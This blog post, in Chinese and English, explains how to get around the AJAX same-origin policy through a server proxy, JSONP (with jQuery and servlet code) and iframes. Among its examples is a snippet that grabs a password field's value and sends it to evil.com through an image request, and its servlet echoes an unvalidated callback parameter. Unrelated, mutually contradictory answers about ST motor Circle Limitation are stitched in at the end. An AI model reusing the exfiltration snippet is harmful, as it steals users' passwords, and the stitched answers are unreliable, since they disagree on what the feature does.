AJAX Cross-Domain Same-Origin Policy limitation

AJAX Same-Origin Policy(SOP) limitation:

 

 

摘自:http://www.ibm.com/developerworks/library/wa-aj-jsonp1/

 

http://www.ibm.com/developerworks/cn/lotus/mashup-openajax/index.html

 

 

 

 

同源策略中“源”是一个包含主机名、协议和端口号的三元组。在同源策略的限制下,浏览器只允许网页中的脚本(如 JavaScript 或 VBScript)访问与之同源的 HTTP 请求和 cookie。注意即使域名和IP是对应的同一个地址,也是属于不同的源的。这里需要注意的是同源策略只对网页的 HTML 文档对象做了限制(XmlHttpRequest),而对静态的资源文件,如 JavaScript 文件、CSS 文件、图片都可以被导入到 HTML 文档对象中(例如 , <script src="..." >, <img src=”…”>)。因此,对于静态文件可以从任意其它域名下导入 HTML 文档。

 

 

 AJAX prevents cross-domail invokation, there are several ways to by pass this limitation.

1. write a proxy on the server side. The SOP limitation only exists only on the javascript side.  While on the side, we can still invoke the other domail url such as via HttpClient

 

 

2. JSONP(JSON with Padding)

the same-origin policy doesn't prevent the insertion of dynamic script elements (动态引入图像也是可以的,这样静态资源也可以引起跨域的调用)into the document. That is, you could dynamically insert JavaScript from different domains, carrying JSON data in them.

 

<mce:script type="text/javascript"><!--
// This is our function to be called with JSON data
function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}
var url = “ticker.js”; // URL of the external script
// this shows dynamic script insertion
var script = document.createElement('script');
script.setAttribute('src', url);

// load the script
document.getElementsByTagName('head')[0].appendChild(script); 
// --></mce:script>

 Note that, in order to do this, you must have a callback function already defined in the Web page at the time of insertion.

Beginning with version 1.2, jQuery has had native support for JSONP calls. You can load JSON data located on another domain if you specify a JSONP callback, which can be done using the following syntax: url?callback=?.

AJAX invoke:

 

jQuery.getJSON("http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=?", 
function(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
});

 Another domain generates json data and returned to client side with callback function.

 

 

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
  throws ServletException, IOException {
	String jsonData = getDataAsJson(req.getParameter("symbol"));
	String output = req.getParameter("callback") + "(" + jsonData + ");";

	resp.setContentType("text/javascript");
          
	PrintWriter out = resp.getWriter();
	out.println(output);
	// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});
}

 

 

基于图像的如下:

 

(function(){ 
	function getPassword() { 
		var pw = document.getElementById("password").value; 
		var imgTag = document.createElement("IMG"); 
		imgTag.setAttribute("src", "http://evil.com?pw=" + pw); 
	} 
	document.getElementById("submit").addEventListener("click",getPassword); 
})() 

 

 

 

3. iframe

    通过iframe的src可以指向任意的server url 

### 回答1: ST Motor FOC库中的Circle Limitation功能是一种用于电机控制的功能。它主要用于限制电机运动范围,确保电机在特定圆内运动。这个功能的设计初衷是为了避免电机在运行过程中超出特定半径的范围,从而保护电机及其驱动系统。 使用Circle Limitation功能时,首先需要定义一个半径,表示电机在运动过程中所允许的最大范围。当电机开始运行时,控制算法会监测电机位置,并通过调整电机的控制信号来确保电机保持在定义的圆内。 具体而言,Circle Limitation功能通过控制电机的速度和加速度来达到限制电机运动范围的目的。一旦电机接近或超出了定义的圆半径,控制算法会减小电机的速度或加速度,使电机返回到圆内。这个过程是自动进行的,无需人为干预。 Circle Limitation功能在许多应用中都很有用,特别是在需要限制电机运动范围的场景下。比如在机器人控制中,当电机控制机器人的手臂或移动平台时,该功能可以确保机器人不会超出特定范围,从而防止机械部件的碰撞或损坏。 总之,ST Motor FOC库中的Circle Limitation功能是一种用于限制电机运动范围的控制功能,通过调整电机的控制信号来确保电机保持在定义的圆内,以保护电机及其驱动系统的安全运行。 ### 回答2: ST Motor FOC库中的Circle Limitation(圆限制)功能是一种用于控制电机转动的特殊功能。圆限制功能主要用于保持电机在特定范围内旋转,避免超过设定的限制范围。 Circle Limitation功能通常在机器人、无人机和电动车等应用中使用。在这些应用中,电机通常需要在特定的路径或轨迹中移动,并且不能超出规定的圆形工作区域。 使用Circle Limitation功能,我们可以在代码中指定电机的工作区域的半径和中心坐标。电机控制系统将会监测电机的位置,一旦电机越过设定的工作区域,控制系统就会采取措施将电机强制限制在工作区域内。 Circle Limitation功能通过使用电机的位置反馈来实现。电机控制系统会持续测量电机的位置,并与设定的工作区域进行比较。如果电机的位置超出了工作区域,控制系统将会调整电机的速度和/或方向,确保电机继续在限制范围内运动。 使用Circle Limitation功能,我们可以有效地控制电机在预定的圆形区域内运动。这对于需要精确控制电机的应用非常重要,因为它可以防止电机超过规定的工作区域,从而保护设备和提供更稳定的性能。 总而言之,ST Motor FOC库中的Circle Limitation功能是一种用于控制电机旋转范围的特殊功能,可以保持电机在指定的工作区域内移动。它通过监测电机的位置并调整电机的速度和方向,以确保电机始终保持在限制范围内。 ### 回答3: ST Motor FOC库中的Circle Limitation功能是一种电机控制功能,旨在限制电机运行时的速度。它可以通过限制电机的速度范围来保护电机和驱动器。具体来说,Circle Limitation功能可以将电机的转速限制在一个设定的范围内,防止超过设定范围导致电机受损。 Circle Limitation功能的原理是通过对电机的电流控制,来限制电机的转速。当电机的转速接近或超过限制范围时,控制算法会自动调整电机的电流控制使其保持在限制范围内。这样一来,即使在高负载或者异常情况下,电机也能保持在安全的转速范围内。 通过Circle Limitation功能,用户可以设置电机的最大和最小转速限制,以满足特定应用的需求。当电机的运行速度超过最大转速限制时,系统将自动降低电机的输出电流,从而限制电机的转速。当电机的运行速度低于最小转速限制时,系统将自动增加电机的输出电流,以提供足够的扭矩将电机带动起来。 总结来说,Circle Limitation功能是ST Motor FOC库中的一项重要功能,可以提供对电机转速的限制和保护。它通过控制电机的电流,保持电机的转速在一个设定的范围内,避免了转速过高或过低对电机和驱动器的损坏。这项功能可以根据应用需求进行设置和调整,为电机的安全和稳定运行提供保障。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值